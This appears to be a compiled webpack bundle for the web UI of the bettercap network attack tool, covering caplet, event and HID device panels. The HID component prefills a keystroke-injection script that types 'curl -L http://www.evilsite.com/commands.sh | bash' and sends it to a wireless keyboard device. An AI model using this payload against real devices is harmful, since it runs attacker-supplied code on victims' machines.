\n
\n\n
\n \n
\n
\n
\n
\n No caplets installed so far.\n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n\n
\n {{ successMessage }}\n \n
\n\n
\n {{ errorMessage }}\n \n
\n\n
\n
\n
\n\n
\n \n \n \n
\n\n
\n\n
\n
\n\n
\n\n
\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/caplets/caplets.component.scss":
+/*!***********************************************************!*\
+ !*** ./src/app/components/caplets/caplets.component.scss ***!
+ \***********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "*.nav-link {\n cursor: pointer;\n}\n\n.nav-pills .nav-link {\n border-radius: none;\n border: none;\n color: #fff;\n font-size: 15px;\n background-color: #32383e;\n}\n\n.nav-pills .nav-link.active, .nav-pills .show > .nav-link {\n border-radius: 0;\n border: none;\n color: #aaa;\n background-color: #212529;\n}\n\n.mod-nav {\n margin-right: 0;\n padding-right: 0;\n}\n\np.mod-description {\n font-size: 1rem;\n}\n\ndiv.mod-content {\n padding-top: 12px;\n background-color: #212529;\n color: #fff;\n}\n\ninput.param-input {\n background-color: #333;\n border: 1px solid #353535;\n color: #aaa;\n}\n\ntextarea.caplet {\n font-family: \"Roboto Mono\", monospace;\n font-weight: 100;\n font-size: 0.8rem;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvY2FwbGV0cy9jYXBsZXRzLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL2NhcGxldHMvY2FwbGV0cy5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNJLGVBQUE7QUNDSjs7QURFQTtFQUNJLG1CQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7RUFDQSxlQUFBO0VBQ0EseUJBQUE7QUNDSjs7QURFQTtFQUNJLGdCQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7RUFDQSx5QkFBQTtBQ0NKOztBREdBO0VBQ0ksZUFBQTtFQUNBLGdCQUFBO0FDQUo7O0FER0E7RUFDSSxlQUFBO0FDQUo7O0FER0E7RUFDSSxpQkFBQTtFQUNBLHlCQUFBO0VBQ0EsV0FBQTtBQ0FKOztBREdBO0VBQ0ksc0JBQUE7RUFDQSx5QkFBQTtFQUNBLFdBQUE7QUNBSjs7QURHQTtFQUNJLHFDQUFBO0VBQ0EsZ0JBQUE7RUFDQSxpQkFBQTtBQ0FKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9jYXBsZXRzL2NhcGxldHMuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIqLm5hdi1saW5rIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5uYXYtcGlsbHMgLm5hdi1saW5rIHtcbiAgICBib3JkZXItcmFkaXVzOiBub25lO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBjb2xvcjogI2ZmZjtcbiAgICBmb250LXNpemU6IDE1cHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzMyMzgzZTtcbn1cblxuLm5hdi1waWxscyAubmF2LWxpbmsuYWN0aXZlLCAubmF2LXBpbGxzIC5zaG93Pi5uYXYtbGluayB7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgY29sb3I6ICNhYWE7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbn1cblxuXG4ubW9kLW5hdiB7XG4gICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgIHBhZGRpbmctcmlnaHQ6IDA7XG59XG5cbnAubW9kLWRlc2NyaXB0aW9uIHtcbiAgICBmb250LXNpemU6IDFyZW07XG59XG5cbmRpdi5tb2QtY29udGVudCB7XG4gICAgcGFkZGluZy10b3A6IDEycHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbiAgICBjb2xvcjogI2ZmZjtcbn1cblxuaW5wdXQucGFyYW0taW5wdXQge1xuICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTsgXG4gICAgY29sb3I6ICNhYWE7XG59XG5cbnRleHRhcmVhLmNhcGxldCB7XG4gICAgZm9udC1mYW1pbHk6ICdSb2JvdG8gTW9ubycsIG1vbm9zcGFjZTtcbiAgICBmb250LXdlaWdodDogMTAwO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG59XG4iLCIqLm5hdi1saW5rIHtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4ubmF2LXBpbGxzIC5uYXYtbGluayB7XG4gIGJvcmRlci1yYWRpdXM6IG5vbmU7XG4gIGJvcmRlcjogbm9uZTtcbiAgY29sb3I6ICNmZmY7XG4gIGZvbnQtc2l6ZTogMTVweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMyMzgzZTtcbn1cblxuLm5hdi1waWxscyAubmF2LWxpbmsuYWN0aXZlLCAubmF2LXBpbGxzIC5zaG93ID4gLm5hdi1saW5rIHtcbiAgYm9yZGVyLXJhZGl1czogMDtcbiAgYm9yZGVyOiBub25lO1xuICBjb2xvcjogI2FhYTtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbn1cblxuLm1vZC1uYXYge1xuICBtYXJnaW4tcmlnaHQ6IDA7XG4gIHBhZGRpbmctcmlnaHQ6IDA7XG59XG5cbnAubW9kLWRlc2NyaXB0aW9uIHtcbiAgZm9udC1zaXplOiAxcmVtO1xufVxuXG5kaXYubW9kLWNvbnRlbnQge1xuICBwYWRkaW5nLXRvcDogMTJweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbiAgY29sb3I6ICNmZmY7XG59XG5cbmlucHV0LnBhcmFtLWlucHV0IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTtcbiAgY29sb3I6ICNhYWE7XG59XG5cbnRleHRhcmVhLmNhcGxldCB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbiAgZm9udC13ZWlnaHQ6IDEwMDtcbiAgZm9udC1zaXplOiAwLjhyZW07XG59Il19 */"
+
+/***/ }),
+
+/***/ "./src/app/components/caplets/caplets.component.ts":
+/*!*********************************************************!*\
+ !*** ./src/app/components/caplets/caplets.component.ts ***!
+ \*********************************************************/
+/*! exports provided: CapletsComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "CapletsComponent", function() { return CapletsComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+
+
+
+
+
+var CapletsComponent = /** @class */ (function () {
+ function CapletsComponent(api, sortService, omnibar) {
+ this.api = api;
+ this.sortService = sortService;
+ this.omnibar = omnibar;
+ this.caplets = [];
+ this.successMessage = '';
+ this.errorMessage = '';
+ this.curTab = 0;
+ this.curCap = null;
+ this.update(this.api.session);
+ }
+ CapletsComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.api.onNewData.subscribe(function (session) {
+ _this.update(session);
+ });
+ };
+ CapletsComponent.prototype.ngOnDestroy = function () {
+ };
+ CapletsComponent.prototype.onUpdateAll = function () {
+ if (confirm("This will download the new caplets from github and overwrite the previously installed ones, continue?")) {
+ this.api.cmd('caplets.update');
+ }
+ };
+ CapletsComponent.prototype.runCaplet = function (cap) {
+ var _this = this;
+ this.api.cmd("include " + cap.path, true).subscribe(function (val) {
+ _this.successMessage = cap.path + ' executed.';
+ }, function (error) {
+ _this.errorMessage = error.error;
+ }, function () { });
+ };
+ CapletsComponent.prototype.saveCaplet = function (cap) {
+ var _this = this;
+ var code = $('#capCode' + cap.index).val();
+ this.api.writeFile(cap.path, code).subscribe(function (val) {
+ _this.successMessage = cap.path + ' saved.';
+ }, function (error) {
+ _this.errorMessage = error.error;
+ }, function () { });
+ };
+ CapletsComponent.prototype.curScripts = function () {
+ if (!this.curCap)
+ return [];
+ this.curCap.index = 0;
+ var files = [this.curCap];
+ for (var i = 0; i < this.curCap.scripts.length; i++) {
+ var script = this.curCap.scripts[i];
+ script.index = i + 1;
+ files.push(script);
+ }
+ return files;
+ };
+ CapletsComponent.prototype.capletNeedsUpdate = function (newCaplet, existingCaplet) {
+ if (!existingCaplet)
+ return true;
+ if (newCaplet.size != existingCaplet.size)
+ return true;
+ if (newCaplet.code.length != existingCaplet.code.length)
+ return true;
+ for (var i = 0; i < newCaplet.code.length; i++) {
+ if (newCaplet.code[i] !== existingCaplet.code[i])
+ return true;
+ }
+ return false;
+ };
+ CapletsComponent.prototype.update = function (session) {
+ for (var i = 0; i < session.caplets.length; i++) {
+ var cap = session.caplets[i];
+ if (!this.curCap || this.curCap.name == cap.name) {
+ if (this.capletNeedsUpdate(cap, this.curCap))
+ this.curCap = cap;
+ break;
+ }
+ }
+ this.sortService.sort(session.caplets, {
+ field: 'name',
+ direction: 'desc',
+ type: ''
+ });
+ this.session = session;
+ this.caplets = session.caplets;
+ };
+ CapletsComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-caplets',
+ template: __webpack_require__(/*! ./caplets.component.html */ "./src/app/components/caplets/caplets.component.html"),
+ styles: [__webpack_require__(/*! ./caplets.component.scss */ "./src/app/components/caplets/caplets.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_2__["ApiService"], _services_sort_service__WEBPACK_IMPORTED_MODULE_3__["SortService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"]])
+ ], CapletsComponent);
+ return CapletsComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/event/event.component.html":
+/*!*******************************************************!*\
+ !*** ./src/app/components/event/event.component.html ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n \n Detected {{ data.ipv4 }} \n {{ data.alias }}\n {{ data.mac | uppercase }} \n {{ data.vendor }}\n \n \n Lost {{ data.ipv4 }} {{ data.mac | uppercase }} \n {{ data.vendor }}\n \n\n \n Station {{ data.mac | uppercase }} \n {{ data.vendor }} \n {{ data.alias }}\n is probing for {{ data.essid }}\n \n \n Captured handshake for station {{ data.station }} \n connecting to AP {{ data.ap }}\n \n \n Detected client \n {{ data.Client.mac | uppercase }}\n {{ data.Client.vendor }} \n {{ data.Client.alias }}\n for AP {{ data.AP.mac | uppercase }}\n \n \n Lost client \n {{ data.Client.mac | uppercase }}\n {{ data.Client.vendor }} \n {{ data.Client.alias }}\n for AP {{ data.AP.mac | uppercase }}\n \n \n Detected {{ data.hostname }} \n {{ data.mac | uppercase }}\n {{ data.vendor }} \n with {{ data.encryption }} encryption and {{ data.clients.length }} clients\n \n \n Lost {{ data.hostname }} \n {{ data.mac | uppercase }}\n {{ data.vendor }}\n \n\n \n Detected {{ data.mac | uppercase }} \n {{ data.vendor }}: \n flags: {{data.flags}},\n connectable: {{data.connectable}}\n \n \n Lost {{ data.mac | uppercase }} \n {{ data.vendor }}: \n flags: {{data.flags}},\n connectable: {{data.connectable}}\n \n \n \n \n Timeout while connecting to {{ data.mac | uppercase }} \n {{ data.vendor }}: \n flags: {{data.flags}},\n connectable: {{data.connectable}}\n \n\n \n Detected {{data.type}} HID device {{ data.address | uppercase }}\n \n \n Lost {{data.type}} HID device {{ data.address | uppercase }}\n \n\n \n {{ logLevel(data.Level) }}: {{ data.Message | unbash }}\n \n\n \n {{ data }}\n \n\n \n {{ data.message | unbash }}\n \n\n \n \n \n {{ item.key }}: {{ item.value }}\n \n \n \n\n\n"
+
+/***/ }),
+
+/***/ "./src/app/components/event/event.component.scss":
+/*!*******************************************************!*\
+ !*** ./src/app/components/event/event.component.scss ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvZXZlbnQvZXZlbnQuY29tcG9uZW50LnNjc3MifQ== */"
+
+/***/ }),
+
+/***/ "./src/app/components/event/event.component.ts":
+/*!*****************************************************!*\
+ !*** ./src/app/components/event/event.component.ts ***!
+ \*****************************************************/
+/*! exports provided: EventComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "EventComponent", function() { return EventComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var EventComponent = /** @class */ (function () {
+ function EventComponent() {
+ this.logLevels = [
+ "DEBUG",
+ "INFO",
+ "IMPORTANT",
+ "WARNING",
+ "ERROR",
+ "FATAL"
+ ];
+ }
+ Object.defineProperty(EventComponent.prototype, "data", {
+ get: function () {
+ return this.event.data;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ EventComponent.prototype.logLevel = function (level) {
+ return this.logLevels[level];
+ };
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Input"])(),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", Object)
+ ], EventComponent.prototype, "event", void 0);
+ EventComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'event-data',
+ template: __webpack_require__(/*! ./event.component.html */ "./src/app/components/event/event.component.html"),
+ styles: [__webpack_require__(/*! ./event.component.scss */ "./src/app/components/event/event.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [])
+ ], EventComponent);
+ return EventComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/events-table/events-table.component.html":
+/*!*********************************************************************!*\
+ !*** ./src/app/components/events-table/events-table.component.html ***!
+ \*********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
0\">\n
\n \n \n | \n Muted\n | \n \n \n\n \n | \n
\n \n
\n
\n\n
\n
\n \n \n | Time | \n Type | \n | \n
\n \n \n\n \n | \n empty\n | \n
\n\n \n | {{ event.time | date: 'short' }} | \n \n \n | \n \n \n | \n
\n \n
\n
\n\n
\n
\n
\n\n
\n \n
{{ curEvent.tag }}\n \n
{{ curEvent.time | date: 'long' }}\n \n
\n\n\n
\n
\n
\n
\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/events-table/events-table.component.scss":
+/*!*********************************************************************!*\
+ !*** ./src/app/components/events-table/events-table.component.scss ***!
+ \*********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "button.btn-event {\n font-size: 0.8rem;\n padding: 0.05rem 0.3rem;\n line-height: 1;\n border-radius: 0.1rem;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvZXZlbnRzLXRhYmxlL2V2ZW50cy10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9ldmVudHMtdGFibGUvZXZlbnRzLXRhYmxlLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0ksaUJBQUE7RUFDQSx1QkFBQTtFQUNBLGNBQUE7RUFDQSxxQkFBQTtBQ0NKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9ldmVudHMtdGFibGUvZXZlbnRzLXRhYmxlLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiYnV0dG9uLmJ0bi1ldmVudCB7XG4gICAgZm9udC1zaXplOiAuOHJlbTtcbiAgICBwYWRkaW5nOiAuMDVyZW0gLjNyZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuMDtcbiAgICBib3JkZXItcmFkaXVzOiAuMXJlbTtcbn1cbiIsImJ1dHRvbi5idG4tZXZlbnQge1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59Il19 */"
+
+/***/ }),
+
+/***/ "./src/app/components/events-table/events-table.component.ts":
+/*!*******************************************************************!*\
+ !*** ./src/app/components/events-table/events-table.component.ts ***!
+ \*******************************************************************/
+/*! exports provided: EventsTableComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "EventsTableComponent", function() { return EventsTableComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+
+
+
+
+
+var EventsTableComponent = /** @class */ (function () {
+ function EventsTableComponent(api, sortService, omnibar) {
+ this.api = api;
+ this.sortService = sortService;
+ this.omnibar = omnibar;
+ this.events = [];
+ this.ignored = [];
+ this.modEnabled = false;
+ this.query = '';
+ this.subscriptions = [];
+ this.curEvent = null;
+ this.sort = { field: 'time', direction: 'asc', type: '' };
+ this.update(this.api.events);
+ }
+ EventsTableComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.subscriptions = [
+ this.api.onNewEvents.subscribe(function (events) {
+ _this.update(events);
+ }),
+ this.sortService.onSort.subscribe(function (event) {
+ _this.sort = event;
+ _this.sortService.sort(_this.events, event);
+ })
+ ];
+ };
+ EventsTableComponent.prototype.ngOnDestroy = function () {
+ for (var i = 0; i < this.subscriptions.length; i++) {
+ this.subscriptions[i].unsubscribe();
+ }
+ this.subscriptions = [];
+ };
+ EventsTableComponent.prototype.update = function (events) {
+ var mod = this.api.module('events.stream');
+ this.modEnabled = mod.running;
+ this.ignored = mod.state.ignoring.sort();
+ this.events = events;
+ this.sortService.sort(this.events, this.sort);
+ };
+ EventsTableComponent.prototype.btnFor = function (tag) {
+ if (tag == 'wifi.client.handshake')
+ return 'danger';
+ tag = tag.split('.')[0];
+ switch (tag) {
+ case 'wifi': return 'success';
+ case 'endpoint': return 'secondary';
+ case 'ble': return 'primary';
+ case 'hid': return 'warning';
+ default: return 'dark';
+ }
+ };
+ EventsTableComponent.prototype.showEvent = function (event) {
+ this.curEvent = event;
+ $('#eventModal').modal('show');
+ };
+ EventsTableComponent.prototype.curEventData = function () {
+ if (this.curEvent) {
+ return JSON.stringify(this.curEvent.data, null, 2);
+ }
+ return '';
+ };
+ EventsTableComponent.prototype.clear = function () {
+ this.api.clearEvents();
+ this.events = [];
+ };
+ EventsTableComponent.prototype.toggleModule = function () {
+ var toggle = this.api.module('events.stream').running ? 'off' : 'on';
+ var enabled = toggle == 'on' ? true : false;
+ this.api.cmd("events.stream " + toggle);
+ this.modEnabled = enabled;
+ };
+ EventsTableComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-events-table',
+ template: __webpack_require__(/*! ./events-table.component.html */ "./src/app/components/events-table/events-table.component.html"),
+ styles: [__webpack_require__(/*! ./events-table.component.scss */ "./src/app/components/events-table/events-table.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_2__["ApiService"], _services_sort_service__WEBPACK_IMPORTED_MODULE_3__["SortService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"]])
+ ], EventsTableComponent);
+ return EventsTableComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/hid-table/hid-table.component.html":
+/*!***************************************************************!*\
+ !*** ./src/app/components/hid-table/hid-table.component.html ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n
\n \n \n | Address | \n Type | \n Data | \n Channels | \n Seen | \n
\n \n \n\n \n | \n empty\n | \n
\n\n \n | \n \n {{ device.address | uppercase }}\n\n \n {{ device.alias }}\n \n\n \n \n \n injecting ...\n \n \n sniffing ...\n \n \n \n \n \n \n\n \n \n \n\n \n {{ device.alias }}\n \n \n | \n \n {{ device.type ? device.type : 'unknown'}}\n | \n \n 0\n\n 0\">\n \n \n\n | \n {{ device.channels.join(', ') }} | \n {{ device.last_seen | date: 'HH:mm:ss' }} | \n
\n \n
\n
\n\n
\n\n
\n
\n
\n \n
\n \n {{ p.split(' ').splice(1).join(' ') }}
\n \n
\n
\n
\n
\n\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/hid-table/hid-table.component.scss":
+/*!***************************************************************!*\
+ !*** ./src/app/components/hid-table/hid-table.component.scss ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "*.payload {\n font-family: \"Roboto Mono\", monospace;\n font-size: 0.8rem;\n font-weight: 100;\n padding: 0;\n margin: 0;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvaGlkLXRhYmxlL2hpZC10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9oaWQtdGFibGUvaGlkLXRhYmxlLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0kscUNBQUE7RUFDQSxpQkFBQTtFQUNBLGdCQUFBO0VBQ0EsVUFBQTtFQUNBLFNBQUE7QUNDSiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvaGlkLXRhYmxlL2hpZC10YWJsZS5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIioucGF5bG9hZCB7XG4gICAgZm9udC1mYW1pbHk6ICdSb2JvdG8gTW9ubycsIG1vbm9zcGFjZTtcbiAgICBmb250LXNpemU6IC44cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiAxMDA7XG4gICAgcGFkZGluZzogMDtcbiAgICBtYXJnaW46IDA7XG59XG4iLCIqLnBheWxvYWQge1xuICBmb250LWZhbWlseTogXCJSb2JvdG8gTW9ub1wiLCBtb25vc3BhY2U7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xuICBmb250LXdlaWdodDogMTAwO1xuICBwYWRkaW5nOiAwO1xuICBtYXJnaW46IDA7XG59Il19 */"
+
+/***/ }),
+
+/***/ "./src/app/components/hid-table/hid-table.component.ts":
+/*!*************************************************************!*\
+ !*** ./src/app/components/hid-table/hid-table.component.ts ***!
+ \*************************************************************/
+/*! exports provided: HidTableComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "HidTableComponent", function() { return HidTableComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+/* harmony import */ var _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../services/clipboard.service */ "./src/app/services/clipboard.service.ts");
+
+
+
+
+
+
+var HidTableComponent = /** @class */ (function () {
+ function HidTableComponent(api, sortService, omnibar, clipboard) {
+ this.api = api;
+ this.sortService = sortService;
+ this.omnibar = omnibar;
+ this.clipboard = clipboard;
+ this.devices = [];
+ this.hid = null;
+ this.visibleMenu = "";
+ this.state = {
+ sniffing: "",
+ injecting: false
+ };
+ this.injDev = {
+ tokens: [],
+ address: "",
+ payloads: []
+ };
+ this.curDev = {
+ tokens: [],
+ address: "",
+ payloads: []
+ };
+ this.sort = { field: 'address', direction: 'asc', type: '' };
+ this.update(this.api.session.hid['devices']);
+ }
+ HidTableComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.api.onNewData.subscribe(function (session) {
+ _this.update(session.hid['devices']);
+ });
+ this.sortSub = this.sortService.onSort.subscribe(function (event) {
+ _this.sort = event;
+ _this.sortService.sort(_this.devices, event);
+ });
+ };
+ HidTableComponent.prototype.ngOnDestroy = function () {
+ this.sortSub.unsubscribe();
+ };
+ HidTableComponent.prototype.setAlias = function (dev) {
+ $('#in').val(dev.alias);
+ $('#inhost').val(dev.address);
+ $('#inputModalTitle').html('Set alias for ' + dev.address);
+ $('#inputModal').modal('show');
+ };
+ HidTableComponent.prototype.doSetAlias = function () {
+ $('#inputModal').modal('hide');
+ var mac = $('#inhost').val();
+ var alias = $('#in').val();
+ if (alias.trim() == "")
+ alias = '""';
+ this.api.cmd("alias " + mac + " " + alias);
+ };
+ HidTableComponent.prototype.showInjectModal = function (dev) {
+ var pathToken = { label: 'Save As', id: 'PATH', value: '/tmp/bettercap-hid-script.txt' };
+ var dataToken = { label: 'Code', id: 'DATA', value: "GUI\n" +
+ "DELAY 500\n" +
+ "STRING Terminal\n" +
+ "DELAY 500\n" +
+ "ENTER\n" +
+ "DELAY 500\n" +
+ "STRING curl -L http://www.evilsite.com/commands.sh | bash\n" +
+ "ENTER\n" +
+ "STRING exit\n" +
+ "ENTER"
+ };
+ this.injDev = dev;
+ this.injDev.tokens = [
+ { label: 'Device', id: 'ADDRESS', value: dev.address.toUpperCase() },
+ { label: 'Layout', id: 'LAYOUT', value: 'US' },
+ pathToken,
+ dataToken
+ ];
+ this.api.readFile(pathToken.value).subscribe(function (val) {
+ dataToken.value = String(val);
+ }, function (error) {
+ $('#injectModal').modal('show');
+ }, function () {
+ $('#injectModal').modal('show');
+ });
+ };
+ HidTableComponent.prototype.doInjection = function () {
+ var _this = this;
+ var parts = {};
+ for (var i = 0; i < this.injDev.tokens.length; i++) {
+ var tok = this.injDev.tokens[i];
+ var val = $('#tok' + tok.id).val();
+ parts[tok.id] = (val == "" && tok.id != 'DATA' ? '""' : val);
+ }
+ $('#injectModal').modal('hide');
+ this.api.writeFile(parts['PATH'], parts['DATA']).subscribe(function (val) {
+ _this.api.cmd('hid.inject ' + parts['ADDRESS'] + ' ' + parts['LAYOUT'] + ' ' + parts['PATH']);
+ }, function (error) { }, function () { });
+ };
+ HidTableComponent.prototype.showPayloadsModal = function (dev) {
+ this.curDev = dev;
+ $('#payloadsModal').modal('show');
+ };
+ HidTableComponent.prototype.update = function (devices) {
+ this.hid = this.api.module('hid');
+ this.state = this.hid.state;
+ this.devices = devices;
